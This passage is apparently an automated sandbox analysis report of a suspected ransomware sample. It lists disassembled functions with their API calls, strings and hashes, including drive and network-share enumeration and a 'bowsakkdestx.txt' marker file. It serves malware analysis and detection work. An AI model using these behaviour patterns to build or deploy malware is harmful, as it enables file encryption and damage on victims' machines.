Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734
reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00670000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

